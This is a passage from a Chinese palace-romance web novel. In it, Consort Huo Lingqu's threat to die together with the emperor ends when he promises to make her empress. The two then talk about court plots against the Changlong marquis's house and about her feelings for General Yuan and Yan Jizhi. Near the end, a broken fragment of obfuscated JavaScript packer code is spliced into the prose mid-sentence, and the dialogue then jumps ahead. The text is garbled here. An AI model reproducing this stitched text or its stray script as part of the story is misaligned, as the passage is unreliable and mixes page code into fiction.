嬴忱璧真憋闷地应:“好!贵妃把铁门打开,让魏王和两位国舅离开,海啸和霁之留着陪朕议个对策。请圣人辛苦些,留在刑部看我们把事情解决了;让国丈陪圣人去堂屋歇歇,让众卿家们全都退下,贵妃也去歇会儿,朕拿定主意就派人去请贵妃过来。” “你发誓,我打开铁锁以后你绝对不动,否则我就把火药点了,我们同归于尽。” 嬴忱璧疲累道:“好!朕不动,当着太上皇和众卿家的面,朕绝对不会哄骗贵妃。” 霍灵渠再琢磨下顾及得是否周祥,打算拿钥匙时猛然意识到:“不对!你会记仇,你会记恨我今日害你君威扫地,你定会秋后算账害我和我霍家,我还是该和你同归于尽。” 许多看客差点被贵妃这惊叫吓得心哆嗦,晏霁之心累啊,魏王也累,霍海啸都累了,连晋王和他们太上皇老爹都嫌累,她还想没完了吗?看客们瞧霍家老少都是张听天由命的脸,估计是随便了,让贵妃折腾完再收拾烂摊子吧。 嬴忱璧慢好几拍都没人出面替他安抚,只得自己打起精神陪贵妃磨:“贵妃胡想什么,朕岂会连包容爱妃这点胡闹的雅量都没有?朕绝对不会计较,贵妃尽管放心。” “我不想放心。”霍灵渠拉过长凳重新落座,把症结绕回原点:“除非,你给我写份保证再请圣人写份为你人品担保的契书,当着我的面写,绝不能代笔还要盖章。” 嬴忱璧除非变傻才猜不出贵妃的意图,正经哄道:“贵妃,郭氏辞位离宫在即,朕盼着和贵妃再续童年未婚夫妻的缘,将来恩爱不疑携手白头,贵妃尽可安心。” “呵呵,真假!”霍灵渠评价:“我信你个邪,我信太阳打西边出来都不相信你。” 晏霁之真想怼她:你能不能顾及顾及旁观者的辛苦,我们嫌累啊不想再陪你耗着了。 正徽帝嬴忱璧点名叫穆国公劝劝贵妃,霍秦川慢悠悠跟贵妃聒噪被喝住,霍灵渠嫌道:“你让我大伯扯那么多废话作甚,要么同归于尽,要么你们父子写份保证。” “好!” 嬴忱璧霍然站起,皇帝肃然庄重的姿态不禁叫许多人愣下,他郑重注视霍贵妃,在若明若暗的火光里帝王气魄浑然发散:“朕就送贵妃两份诏书,礼部听谕,正徽十年春办霍贵妃封后大典;贵妃诞下麟儿,皇儿满十岁,册储君!” 围堵的周遭霎时沉寂若死,人群中仿佛唯有跳动的心脏才堪以显示他们的存在。明暗交织的光影捕捉到人间帝王的威势将这珍贵影像刻进记忆的隽永里,是那么认真。 一些见证且铭记今夜的年轻禁军和官员们在多年后在垂垂老矣时偶尔又忆起,当年震撼下的疑虑又不得不变成震撼唏嘘:原来他们的君王是真喜欢霍贵妃,霍皇后红颜早逝,陛下竟空置后位三十多年。三十多年的沉重来追悼亡妻,谁能不信霍皇后是陛下挚爱。 当然,这是后话。 眼前他们还陷在震惊中难以回魂,比他们年长或心思深的大人们逐渐回神,虽然多数都还稳得住可谁能相信皇帝出自真心?大概一只手的数都没有的吧。 晋王讥讽,当霍家会信吗?霍家若能因此对你有丝真心都算太阳打西边出来了。 穆国公想把这场当作皇帝的消遣,但即使是消遣,皇帝今后若真按这路子走,他发现他还是被皇帝给整不会了;他们还是保持点距离吧,太亲近他嫌肉麻,哎呀他受不了的。 霍漓江就没什么纠结的心思,该怎么接怎么接呗,霍海啸在猜皇帝有没有一丝真心? 魏王就相信嬴忱璧有一两丝真心,嬴忱璧是真有心想对霍家和贵妃好,他会脱口就说出治霍家的罪是他清楚他会对霍家好也愿意让霍家在他手中保持辉煌,哪怕他震怒要治治霍家都不影响他会保着霍家,因而他顾忌少了许多。 让贵妃误会他的心意了,这场表态也算是对之前贵妃质问的回应吧。 班丞相率同僚们请示太上皇意,太上皇若有所思,不过神情还算平和。 晏霁之背靠墙壁,浓密的睫毛在他眼下投进片阴翳,浑如他整个人都陷在黯淡里。 霍灵渠同样被皇帝给整不会了,她振奋两回想对呛都觉得心慌撑不住,转向祖父求救;霍擎老脸笑起褶皱喊他太上皇女婿打趣:“女婿啊,您看陛下差点把我老头给吓死了。” “寡人何尝没被皇帝吓到?”太上皇和悦道:“国丈有话就和皇帝说说吧,无妨的。” “嗳,好。”霍擎老太爷甩掉霍巨浪,独自拄拐杖走到贵妃孙女身侧,对皇帝打官腔:“陛下您对霍家皇恩浩荡,霍家感激涕零不尽,您降下恩典欲册立霍贵妃做继后,霍家勉强还能接,然储君关乎社稷何其重乎,霍贵妃和霍家铭感五内但实在愧不敢当。 这真不是霍家不识好歹而是着实接不住您的厚爱,还请陛下收回成命,老臣叩首。” 霍擎搁掉拐杖欲跪,霍灵渠连忙搀着祖父,皇帝嬴忱璧表明道:“国丈不必行此大礼,这不是朕对霍家的恩典而是只对贵妃,独独只因贵妃霍灵渠,朕才给出这两份诏书。国丈更不必把事情想复杂了,这其实就只是一个男人想对他喜欢的女人好而已。” 其他人:“……”…… 魏王险些作呕,嬴忱璧居然还讲上情话了,他跟他认识三十多年都没这么无语过;不是他对他够清楚他都要怀疑这不是他第一回讲情话,不然他怎么就能这么脸不红心不跳? 晋王同样吃不消,这皇兄二十多年都是冷漠范儿啊突然是闹哪样,故意恶心他们吗? 穆国公霍秦川真嫌肉麻,他要受不了了,皇帝这么不按常理出牌还让他怎么接招? 矜持啊!太上皇都被迫冒出点老父亲的心态,就想直接走人了不想看见这皇帝儿子了,你在私底下述衷肠不行么非得大庭广众?!他当年都没这么不矜持的。 众位大臣们眼观鼻鼻观心,接着保持没异样。 霍擎老太爷很好地及时刹住:“是,老臣谨遵陛下旨意,老臣虽然是贵妃的祖父,但儿女情长这个事,老臣也不好代贵妃谢恩,老臣就不提这个事了。”他笑眯眯对孙女说:“娘娘把铁门打开吧,天黑了,圣人和陛下都该回宫歇息了。” 霍灵渠踌躇,皇帝善解人意:“朕还要给贵妃个交代,朕既答应贵妃,不能言而无信。” 既如此,霍灵渠思忖下就拿钥匙开铁锁,魏王和霍秦川霍漓江都走出囚室后,她想再把铁牢锁住时被祖父拦住,霍擎笑:“娘娘,陛下的信誉还能比不过这把铁锁吗?够了。” “哦…好。”霍灵渠转念想应下,感觉空空落落没有安稳,她又揣把宝刀来抱怀里。 太上皇瞧着贵妃没再搞幺蛾子出来可算能告段落,当即率众离开。霍灵渠在队伍最末,来到监狱外的空地,在台阶坐下,此时天已黑而星月未出,夜空透着清冷孤寂。 霍漓江凑到闺女身边打量:“瞧你这德性,不像相信皇帝又不像不信,想什么呢?” “想晏霁之。”霍灵渠揣着宝刀,喃喃低落:“刚刚我就好想靠在他的怀里。” “我滴娘啊,你的姥姥,爹看你是真要没救了,皇帝对你讲情话比对牛弹琴还不如。”霍漓江嫌弃得给闺女扔包烤肉和水囊就走:“你就自个儿待着吧。” 仍然留在囚室里的三位此时同样得到份刑部奉上的热酒菜,刑部还送两条长凳来,四条长凳总算让他们都有位置能坐坐了。嬴忱璧抿口热酒,问:“谁有对策?” 霍海啸和晏霁之都装木桩,嬴忱璧点名:“霁之你说,别跟朕说没法子。” “要么?”晏霁之取筷子沾酒水在破损的旧桌面写行字:陛下您禀告圣人,您查到昌隆侯将安西的七万铁骑收进囊中了。用水写出的字转眼间就消弭,但够皇帝看清楚了。 霍海啸瞟瞟他,没什么表情的脸上都能读出来:你也太损了吧。 嬴忱璧沉吟片刻,同意了:“好,霍家去办,四月二十一早朝前朕会告知太上皇。” 霍海啸领旨,皇帝嬴忱璧没再滞留,站起来往外走,晏霁之走在末尾,迈出步又顿住,转头回望这张旧桌半响,他走回桌前,取出手绢用酒水淋湿透,拿手帕在刚刚他写过字的位置细细擦拭,擦过两遍,他把酒壶中的酒水全倒在桌面,又把这片桌面再擦遍。 “你谨慎得都让我有点毛骨悚然了。”霍海啸走回来靠在铁门打趣。 “焉知没有能人能让酒水写出来的字重新显出形?”晏霁之走到铁门前,淡淡道:“谁知道有多少人在暗中窥伺,这串字若是外泄了可是要命的事,谨慎总归没错的。” 霍海啸抬手拍拍他的肩膀:“走吧。” 皇帝恭送过太上皇,带霍贵妃乘銮舆回宫,皇家禁军沿路举火把照明。行知仍似今早般混在人群中,他想看清楚霍贵妃的身影,终只剩忘忧两字消散在禁军远走的尘埃里。 93. 第93章 是夜迎来立夏以来的第一场雨,雨势从天幕直灌而来仿佛想要将白日的喧嚣冲刷,雨落整夜至破晓前收住,黎明浮金朝阳蓬勃,经夜雨洗涤过的天地格外清醒舒朗。 昨日的轩然大波在酝酿整夜后在皇城内外极速扩散,建威侯夫人在宫门开启前就候着,皇城的昭德门打开,她递牌进宫。而她走进椒房殿还不足一刻钟,郭皇后的口谕传出:今晨免众嫔妃请安。甚者,建威侯夫人在皇后宫中还没待两刻钟,她即赶向钟萃宫。 去芷筠斋传皇后口谕的宫女带回霍秀仪的示威:霍秀仪称有头疾不能经常早起,今后唯有不头痛时才能在清早给皇后请安,气得郭皇后又摔盏又派人去告知她母亲。 皇宫中的议论反而绝迹,因残花败柳四字,霍贵妃就寻死腻活闹着要和陛下同归于尽,倘若他们冒出个不好的字被传进贵妃耳中,贵妃还能让他们活吗?顺带着,传出霍秀仪学霍贵妃称有头疾的事,都没人议论,在此非常之时还是安分的好。 皇宫外的官眷们都是类似的心理,隔墙有耳甚至聊八卦的泛泛交可不可信呀,倘若她们讥笑贵妃的过往被传入霍家和霍贵妃耳中,后果可想而知,何必图这一时的嘴痒呢?想笑话待将来霍家倒塌时又不迟,还能连这点耐心都没吗?若是没有,真是死都活该了。 城中百姓们没顾忌,霍贵妃能知道他们谁是谁呀。 任逍大清早往京城几处知名的茶馆酒楼走圈,传进耳中的全是对昨日沸沸扬扬的议论。她回到魏王府得知魏王在家,当即找过去,闯进书房,见魏王在看北疆舆图。魏王令紧随来请罪的小厮将她请走,她毫不以为意地嗤讽:“你还能把控得住那姐妹俩?” 魏王看着她,很平静地看着,没有厌恶没有审视,是种不带情绪的冷眼旁观。他脑海中突然就冒出来个声音,不经思索就冒出:这个表妹究竟是有多没脸没皮? “你有主意?” 把守书房的两名小厮自觉退下,任逍勾勾唇,眉梢飘扬着自得:“霍贵妃不是想要养育嫡出的皇嗣么,郭皇后活着,她养了也白养,就让她送郭皇后上路吧。霍灵渠能识趣最好,若她不肯就用霍桑柔要挟,谅这姐妹俩也逃不出魏王府的掌心。” “知道了,我会斟酌。”魏王话语未尽,被任逍打断:“不是斟酌,是必须要让霍——”她同样没能把话说完,猛地对上魏王很冷漠的眼神,冷不防就让她心里打个冷颤。 “不如你来做魏王?” 轻飘飘的几个字好像蕴藏着巨大的威慑让任逍突然有点害怕,魏王对她暴怒大发脾气时都没让她害怕反而在这刻她莫名觉得恐怖,不自觉瑟缩下就变得拘束起来。 魏王冰冷训诫:“出去!” 任逍难得没有多做抗拒,径直离开了。 书房门重新闭合,魏王扯扯嘴角,他至少还知道这主意是庄太妃清早派人来送给她。既然是细作,他无所谓是谁的主意,他计较的是任逍的态度,没有寄人篱下的谦恭、没有吃里扒外的羞耻反而一副咄咄逼人恨不得想让魏王府都供她驱使的嘴脸。 原本犹豫该把任逍嫁给谁,魏王在这刻忽然觉得没什么可犹豫,他想念在外祖家的情份给这个表妹找个归宿,人家能领情吗?他又何必自找没趣。 皇帝在去长春宫的途中遭遇令愔夫人拦驾,令愔夫人知道窥探帝王行踪是大罪,然事急从权拖不起了:“陛下,皇后娘娘明年正月就要离宫,和儿女还能相处几日?求陛下怜悯,体恤皇后明年即将饱尝骨肉分离之痛,今年就让嫡皇嗣养在皇后膝下吧。” 皇帝道:“爱妃就告诉建威侯府,郭皇后在宫中一日,她生的儿女都会养在她膝下。” “是,臣妾谢陛下隆恩。”令愔夫人轻松不少,她身后的大宫女们绷着的心都放松了,今早建威侯夫人又来钟萃宫想要把她们家娘娘当枪使,她们娘娘心肠太好,她们死命阻拦都没拦住被皇后和建威侯府得逞了,还火急火燎得非要即刻就把事办了。 “陛下,皇后娘娘日日前往长春宫尽孝已有半月之久,皇后既要统御嫔妃表率宫闱命妇又要抚育皇嗣实在难以兼顾,望陛下垂怜,就向太后请个恩典吧。” “爱妃有闲暇可请些官眷来赏赏花,看看皇宫外的媳妇都是怎么做媳妇的。”皇帝笑:“省得建威侯府出来的皇后连对太后尽点孝都怨声载道,你还帮衬,贻笑大方。” 令愔夫人神情微凛,迟疑下终是没提给皇后的表妹堂妹求一品妃位好明年抚养嫡皇嗣,恭敬应是谢恩,再请陛下正宫规:“陛下,臣妾还有一事禀奏,今早,霍秀仪狂妄扬言今后不能经常早起给皇后请早安,此乃蔑视中宫,请陛下惩处。” “确实该处置。”皇帝很同意:“贵妃不能早起给皇后请安是禀告过朕、由朕应允了的,霍秀仪胆敢藐视宫规,她眼中还有朕和皇后吗?念在她是贵妃的堂妹,就罚她在椒房殿前跪两个时辰、停掉今年的月例银子,小惩大诫吧。” 令愔夫人欣喜谢恩,蒋厚运派四名内侍去办事,皇帝逐道:“爱妃回钟萃宫吧,朕要去长春宫给太后请安再看看贵妃,不陪你多话了,朕有闲暇再去看你和皇儿。” “是,陛下。”令愔夫人恭送皇帝,藏在暗处的郭皇后的母亲才松口气,令愔夫人向她走来,她连忙察看,皇帝已经消失在宫道,她才放心,和宫中最得宠的嫔妃相携离开此地,走跟皇帝相反的方向,去椒房殿宽慰皇后。 广袤天空下,背道而驰的两队队伍相距越来越远。 皇帝到长春宫,给太后请过安便告退,去偏殿看霍贵妃。 霍灵渠在庭前晒太阳,皇帝驾临,霍灵渠请过安便又缩回躺椅里。 正徽帝嬴忱璧在厚重的紫檀靠背椅中落座,瞧贵妃蔫蔫儿的,他将宫人遣退,关怀道:“贵妃怎么看起来心情不好,莫非是还不相信朕吗?” “没有,就算不信,太上皇的旨意出来,我再去和他同归于尽也不嫌迟。”霍灵渠说,嬴忱璧顺话问:“既然贵妃想得明白,还有什么事让贵妃不高兴吗?” 你皇帝昨夜定在将来的两道旨意啊,霍灵渠烦恼道:“我要出宫!三年内不侍寝,你答应过的你不能逼迫我,你拿到大权就放过我吧,你何必强迫个不愿意的女人?” 嬴忱璧淡淡道:“贵妃应该想忘掉过往和不该有的念头,安心等着做皇后。” “你就不能放过我?”霍灵渠被他激出点生气:“你到底想怎样才肯放过我?” “难道贵妃还想?”嬴忱璧玩味:“朕若不遂你的意,你再和朕同归于尽吗?” “你看我是像儿戏还是看我拿同归于尽当儿戏?”霍灵渠烦躁反呛,嬴忱璧失笑揶揄:“看来贵妃很惜命,朕只将你困在宫中,你不会想以死相抗?” 霍灵渠脸色很差地裹裹她的绒毯,不想再搭理皇帝。 嬴忱璧识趣略过,反正他都把封后大典定在正徽十年了。 “贵妃今后做事不可再那般急急火火,像昨日你想保原家,你好好跟朕说呀。”嬴忱璧教导,霍灵渠忍着烦躁提醒:“我昨天求过了,陛下给我什么答复您总该还记得,是因我想跟你们同归于尽,你才应说你会拦住圣人调护国公回京的旨意。” “朕想阻拦唯有两种方式,一,强行阻拦、和太上皇撕破脸;二,恰有件让圣人觉得比拨掉他眼里这根刺重要得多的事。”嬴忱璧问:“贵妃以为,除了朕强硬阻拦之外,当下还有什么事能令太上皇觉得比拔掉他眼中这根刺重要得多?” 霍灵渠速度抢答:“他想长生不老呀。” 嬴忱璧被卡顿下后表示:“贵妃,朕是指朝堂之事。”看贵妃思索下后摇头,他把事情简略相告引得霍灵渠掩唇想惊呼又急忙按捺:“你们疯了,怎可……” “圣人对他的外祖家极为恩宠放纵,昌隆侯府多年来犯下的罪孽早就够满门抄斩了。”正徽帝嬴忱璧眼底锐利闪过:“何况,朕还真没有把握昌隆侯府有没有不臣之心。 朕欲彻查朱家,可昌隆侯府朱家乃太上皇的外祖家,朕不能越过太上皇来查朱家。故而必须要有个足够的由头。若朱家忠诚,不会影响圣人对他们的态度;不然,倘若朱家当真已经不知所谓,这又岂会是污蔑?趁早将昌隆侯府歼灭才是正道。” “不臣之心?”霍灵渠蹙眉:“朱家犯的罪孽够满门抄斩了能代表他家有不臣之心吗?陛下怎会怀疑朱家敢谋逆?” 皇帝挑件最轻的说:“譬如,内廷一个月花销不到五万银两,太微宫不计入神策军的月花销是三万多两,自正徽三年以来,昌隆侯府每月花销竟有八万两之多。” “他家会否过得奢靡而已?”霍灵渠推测:“我爹和晏霁之都是但凡相中的物件都不会计较银钱,霁之乐意花钱时他一个人一个月就能用几万两,我童年在家时,我和我爹两个人每月日常花销都好多银钱的,一大家子人每月用八万两不算多吧?” “贵妃,朕指的是中馈的花销,你举的两例是自己掏钱不走府上中馈的账,这种自然是随自己,就像皇宫中的太妃们用内廷额定的份例有几个能过?” 嬴忱璧有经验地详细说明:“鞠太妃、庄太妃、朱太妃等几位每月花销二三千两,但这是她们自己掏银两,不归入内廷的出账,后宫嫌日常拮据者不是她们真过得简朴、而是她们嫌份例少,不想每月掏银两供养自己想让朕来负担,所以才闹呢。 英王府中馈的月例花销定在一万两,霍家四世同堂大大小小的主子几十个,霍府中馈的月花销额定在一万八千两,全京畿就没哪家权贵府上中馈的月花销能超过二万两。 八万两是什么?太微宫算入神策军的月花销都还不足八万两,皇城中,内廷的月例花销加上前朝一万名禁军的月花销才堪堪九万银两,可昌隆侯府呢?” 皇帝甚觉好笑地笑起来:“中馈的月例花销定八万两,难道是昌隆侯一个月的日常花销就要用上万银两吗?英王府给英王夫妇和世子每月额定的花销是一千两。 霍府中馈定给霍老太爷夫妇的月花销也是一千两,霍家四位老爷三位夫人包括穆国公这当家人在内每月能走中馈的账目是八百两,各府上中馈的出账向来都会节制。 除非是不管将来坐吃山空的人家,否则谁家会不顾后代儿孙?昌隆侯府想奢靡没人拦,但日常花销都定那么高,朱家能挥霍得起几代,他家是不在意败落还是自觉能世代这么享受?朕总该猜后者,那么他的胃口该有多大了,朕该如何想他?” 霍灵渠抿抿唇,垂眸半响都不知该说什么,捧着玉盏喝燕窝羹。 “贵妃,这回侥幸能用昌隆侯府来挡,若是没有这侥幸,朕若想阻拦就必须和太上皇撕破脸,若朕和太上皇撕破脸则必会对立,贵妃应该清楚这意味着什么吧。”嬴忱璧温和问:“难道贵妃觉得朕不冒着性命危险救护国公府是错吗?” 霍灵渠琢磨下,皇帝不像在扯谎,她道歉:“对不起,我收回刚才的话。” “朕接受贵妃的歉意。”嬴忱璧龙颜舒展些,将残留的疑惑问出:“可,贵妃若是觉着你和朕还不够亲厚,你求朕相帮未必能有用,你为何不让霍家帮忙?” “太上皇心意已定。”霍灵渠低眸道:“怎可因我一人累及家族危亡?” 嬴忱璧忽然就没了脾气:“贵妃,朕和霍家都很在意贵妃,我们都愿护贵妃余生安好,你遇到难处只管跟我们说,不要独自担着,知道吗?” 霍灵渠同意道:“我有难处自会和家里说,这事我算过了,不能跟家里说。” “胡闹!”还算过?嬴忱璧训道:“越是大事越不能你独自担着,你想独自担着就被你想出个同归于尽来吗?贵妃就不想想若你有个好歹,你的至亲们将会多悲痛,你祖父祖母这么大岁数若是承受不住该当如何,贵妃今后定要引以为戒,知道吗?” 霍灵渠反驳:“不会的,祖父祖母彪悍,哪怕我死了,他们都承受得住。” 嬴忱璧眼皮跳跳,想起霍海啸的慷慨陈词,他真有点担心了:“贵妃昨日想同归于尽时顾虑过你的至亲吗,你不怕你有个好歹,他们伤心难过吗?” “伤心难过有什么好顾虑?”霍灵渠反嫌皇帝优柔寡断:“你看我爹,我母亲刚死的时候爹爹他悲痛得几乎都要活不了了,后来还不是活蹦乱跳活得好好的。 霍家也不兴顾虑这个,我爹自己都说他冷心冷肺,姑母自私自利都被爹娘兄弟认可的。祖父往下到大哥和我,都是有想做的事就去做,管家人会否悲痛做什么,悲痛又死不了。何况都有自己必须要做的事了还去管家人会否伤心不是碍事么,哪儿有这样做事的?” 嬴忱璧莫名觉得贵妃最后嫌弃时怪可爱的:“那么,贵妃认为应该怎样做事?” “当然是有想做的事就果断去做,除家人生死家族存亡外都无需顾及。”霍灵渠补充:“霍家都是这样做事,我比起我爹和姑母他们都算顾虑得比较多了。” “好,朕懂了。”嬴忱璧心思愉悦就觉得贵妃这般行事也没甚不可,比起优柔寡断,他自然想贵妃爽利果决好。这话题结束,他再提件事:“原小将军,朕听闻他失忆了,十三四岁前的过往都忘记了,贵妃既去过北境可知他还好吗?” “你?”霍灵渠注目着皇帝,惊到都有点惊恐:“你、你知道、你知道他……” 嬴忱璧失笑:“既是故人,朕自然知晓,贵妃不必紧张,朕同样盼他好。” “太上皇知道吗?”霍灵渠蹙眉,嬴忱璧猜:“应该不知,否则圣人不该如此平静。护国公的第三子在娘胎时没养好,生来体弱,十六岁以前甚少出现在人前,想偷梁换柱不难;就是没想到…护国公能如此舍得,贵妃知道那位三公子的下落吗?” 霍灵渠迟疑下点头:“是护国公的外甥,幼年拜入佛门,是佛门俗家弟子,法号行知。行知的身体养好些后开了家小书院,我和桑柔在北境时桑柔就是跟着行知念书。” “好!”嬴忱璧看向眼前阳光明媚花草清香,注视半响后他端起茶盅喝两口,自嘲笑,人已经横在他和贵妃中间他又何必再畏缩,难道他避而不谈就能化解了吗? “半年前,贵妃曾告诉朕,倘若老六告诉你,他喜欢你想娶你做媳妇,你会相信,但你不愿意相信朕对你的真心。十八年前,圣人给我们赐婚的圣旨出来,六弟还闹过想让父皇取消赐婚。我们的童年里对灵渠好的男孩很多,但唯有六弟是毫不遮掩。” 嬴忱璧握拳,忽然间真不知是嫉妒还是唏嘘:“我们的童年,六弟还只有九岁时就曾扬言过他喜欢灵渠想将来娶灵渠做媳妇。朕真的很意外,我这位六弟和我童年的未婚妻竟然有这样的缘。”皇帝看向霍贵妃,感慨道:“圣人曾想给原小将军赐婚。 因原小将军已有未婚妻才作罢,原小将军的未婚妻叫何忘忧,贵妃认得此人吗?” 霍灵渠应:“认得,此人就在皇帝陛下眼前,何忘忧是我在北境时用的名字。” “贵妃可知何忘忧喜欢原小将军吗?”嬴忱璧明知问得很多余可还是亲耳听听。 “喜欢的,我喜欢六哥哥。”霍灵渠着重申明:“我是北境时喜欢六哥哥的,童年的时候大家都还只是玩伴,在我还是你未婚妻的时候我可没有做过对不起你的事。” “好,朕知道、朕都知道的。”嬴忱璧忍俊不禁:“贵妃在北境时……”他该问什么呢?都明确贵妃对原牧炽的态度了还要问什么,难道帮贵妃回顾和原牧炽的点点滴滴吗? “那么流光姨娘呢,流光可有喜欢晏霁之吗?”既然翻起旧账就翻个彻底吧。 霍灵渠答不喜欢,嬴忱璧被贵妃这干脆的态度惊喜到了:“贵妃,当真吗?” “真呀,我已经喜欢六哥哥,怎能再喜欢别人?”霍灵渠理所当然,嬴忱璧就觉得贵妃这答案有种说不出的怪:“像晏霁之这般矜傲风流的人物,流光当真从未动过心?” “我喜欢六哥哥。”霍灵渠重申道:“我已经喜欢六哥哥了,怎么能再喜欢别人?” 嬴忱璧顿时就怀疑贵妃在蒙骗糊弄他,贵妃心虚了,流光姨娘和晏霁之绝对有猫腻:“贵妃的答案未免冠冕堂皇,怦然心动又岂是你想喜欢谁就能控制自己喜欢谁的?” “这有什么不能控制,喜欢不都是由自己决定的吗?”霍灵渠诧异:“你堂堂皇帝哎,难道你都不能控制自己喜欢谁不喜欢谁吗?” “呃——”嬴忱璧哑然,贵妃的道理好像没错,可他就是觉得很怪,就不像是男女间的心悦喜欢反而令他觉得:“贵妃说喜欢六哥哥怎么听起来像你在强迫自己喜欢他?” “强迫?”霍灵渠神奇:“怎么会有强迫,当然是我愿意喜欢六哥哥才喜欢他的呀。” 嬴忱璧敏锐揪住破绽:“贵妃,应该是因为喜欢才喜欢吧,怎么还有愿意一词?” 霍灵渠好奇怪:“陛下,喜欢这么重要的事,如果自己都不愿意还怎么喜欢呀?” 呃?嬴忱璧就觉得贵妃的道理好像没错又像根本不是儿女情长那回事,他琢磨着探究:“贵妃可能告诉朕,何忘忧与原小将军的喜欢是怎样的情窦初开情投意合?” “可以呀。”霍灵渠毫不吝啬地传授:“在北境时我跟六哥哥玩得很开心,玩久了以后,六哥哥说他喜欢我,问我愿意喜欢他吗?我想想可以的,我就喜欢他了。” 嬴忱璧:“……”皇帝不可思议:“贵妃,你们的喜欢难道是商量出来的吗?” “没有商量呀,喜欢当然是凭自己的意愿,怎么还会要商量?”霍灵渠捧茶杯喝茶。 “可贵妃你的喜欢…”嬴忱璧斟酌措辞:“你不觉得是你先推敲了可否才再喜欢吗?” “难道你还想喜欢你明知不能喜欢的人呀?”霍灵渠越聊越觉得皇帝的想法偏僻古怪,嬴忱璧可算察觉明白问题了:“贵妃,思量权衡之下的喜欢还能是纯粹的情义吗?” “当然是呀。”霍灵渠毫不犹豫肯定之,坦然得叫嬴忱璧险些被噎住,真是不得不疑:“那么何忘忧是为了什么才喜欢原小将军,贪图原家称雄北境吗?” “陛下把人想得也太不堪了。”霍灵渠斥责:“当然因为我和六哥哥玩得开心呀。” 一种挫败涌上眉头,嬴忱璧喝口茶,梳理遍总结:“贵妃的意思,喜欢,首先要开心,再看跟自己玩得开心的对象能否喜欢?能,才喜欢,不能就不喜欢。” 霍灵渠赞同,执起茶壶倒杯茶,还给皇帝把茶盅斟满。 皇帝嬴忱璧很怀疑贵妃真的喜欢原小将军吗?或者说,贵妃的喜欢真是情窦初开下的怦然心动吗?他指腹摩挲着茶盅壁,考量道:“那么,贵妃对晏霁之的态度呢?你不喜欢他,但你和他更不可能变朋友,你对于你和他的关系总不至于没点想法吧?” “他像我的活祖宗。”霍灵渠借机发牢骚:“我有时候都觉得我像他的娘。” “……”贵妃当真没有表述错吗?嬴忱璧不能理解:“贵妃,可否讲得具体实在些。” “晏霁之很挑剔,挑剔得都快令人发指了。”霍灵渠扳着手指头说:“我得顺着他捧着他不能违背他不能惹他不高兴,不然他就会变着法闹腾我闹个没完。我还得要有母亲照顾小婴孩的耐心来照料他的生活起居包容他的臭毛病,桑柔小时候都比他好带多了。” 嬴忱璧还真觉得新鲜:“晏霁之对流光姨娘不好吗?他不是独宠流光姨娘吗?” 霍灵渠接得格外顺:“对呀,所以他的坏脾气臭毛病也全都扔给我了。” “臭毛病?”嬴忱璧笑:“晏卿矜傲卓绝风姿斐然,就算有点不好又能有多大不好?” “呵呵!”霍灵渠捏块奶糕吃糕点,嬴忱璧再确认遍:“流光当真不喜欢晏霁之吗?” “陛下,我对他得要有服侍祖宗的顺帖周到、做娘对孩儿的耐心和包容才能令他满意,他若不满意就要折腾我,折腾到他满意了才能够。”霍灵渠问:“您觉得,摊上这么个男人,我还能天天高高兴兴欢欢喜喜吗?我都没怎么开心过,我可能会喜欢他吗?” 按贵妃的理解是不喜欢,但他真有隐忧怕贵妃实则还没有情窦初开,不懂情爱滋味呀。嬴忱璧如是想过后愣下,假若贵妃还不懂情爱,他还要担心什么? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我不怨你,真的。”霍灵渠揭示道:“我不排斥是我没想过排斥,我会高兴喜悦是因为嫁人和做皇后就是件让人高兴的事,丈夫是不是你对我都没影响。” 正徽帝嬴忱璧眼神微变,掩饰性地含糊:“贵妃还是在怪朕。” 霍灵渠将手抽回,正襟危坐道:“陛下,倘若我安稳在霍家长大、出阁,我的人生不必我自己费心思,我按照你们给我规划的人生路去走就好了。 授康十六年的变故对我最大的影响是转变我的思想,授康二十一年走到家门前,在我不进家门的那刻起,往后的路怎么走都是我自己定,由我自己拿主意。” 霍灵渠倒不在意她的人生走哪种路:“我很会随遇而安,我的人生路是我的家族替我安排好还是我自己决定对我并没有优劣,我都会高兴、会欣然接受。但,现实是,我没能在家中长大,我八岁就离家了,自我十三岁起便是我自己为我自己做主。” “已经十二年了。”霍灵渠看向皇帝笑,笑得令皇帝倍感心酸:“十二年了,再让我回到我的人生不必我自己费心思而由全由旁人替我决定?我不知道有多难,但必定很痛。” “贵妃在宫中仍可自行做主呀。”嬴忱璧故作轻松,好像贵妃真只是不谙世事小题大做:“朕和霍家怎会越过贵妃的意愿来强行替你决定?你的人生自然是你自己决定。” “我不抗拒五哥哥,不抗拒嬴忱璧,但我抗拒皇帝。”霍灵渠认真道:“你是皇帝,你我之间有着难以逾越的天堑,在你愿意对我好时你对我都能轻易流露帝王的威势,何况将来?恐惧害怕如影随形地跟着我,我不过这样的日子,我宁愿后半生青灯苦佛。” “是朕做的还不够好才让贵妃对朕没有信心。”嬴忱璧重新握住贵妃的纤手,保证道:“贵妃放心,朕会对你很好,你还不愿意相信朕也无妨,朕会用后半生来证明。” “陛下又是何必?”霍灵渠诚心劝:“你不喜欢我,我不喜欢你,你我互相都不喜欢。你只是觉得亏欠我想弥补我,可你这份补偿不是我想要的更会让我们两人都痛苦。 我不怨你不恨你,你不用补偿我,真的,你放过我放过你自己吧。将来,你的继后、与你携手终老的人应该是跟你两情相悦或者至少是喜欢你的姑娘,这对你才是圆满幸福。” 正徽帝嬴忱璧应:“贵妃莫再胡思乱想,朕会对你好,我们往后的人生定会美满。” “陛下可想过活在笼中的金丝鸟为何想飞出鸟笼吗?笼子再奢华、笼中生活再养尊处优都断不掉鸟儿想飞的心思?”霍灵渠言简意赅道:“鸟有翅膀呀。” 嬴忱璧感觉有股烦躁在流窜,如何能不明白贵妃的喻指,他甚至不能答可把鸟雀驯服叫它们只想乖乖赖在笼中。他语气冲道:“贵妃是想说北境的草原上没有围墙吧?” 霍灵渠遥望天空辽阔,弯弯唇浅笑:“在臣妾心中,世间的高墙唯在皇宫。” 这时有宫人小跑近前来报霍秀仪在椒房殿前晕倒了,罚跪是否继续,请陛下示下。 嬴忱璧霎时像找到发泄般略带薄怒斥:“拿针扎醒,这么点小事还用得着来请示吗?” 内侍连连应诺退下,霍灵渠转向皇帝注视几息时间还是没把自己的手抽回。嬴忱璧懊恼,他何必非在贵妃对他信心少得可怜时还控制不住脾气去助长贵妃想逃离的念头。 但发泄都发泄过了只能就这样略过,省得多提多错。嬴忱璧平复下,转提件喜庆的事:“贵妃生辰将至,教坊司祝寿的歌舞一应都是全的,贵妃想如何庆祝生辰之喜?” 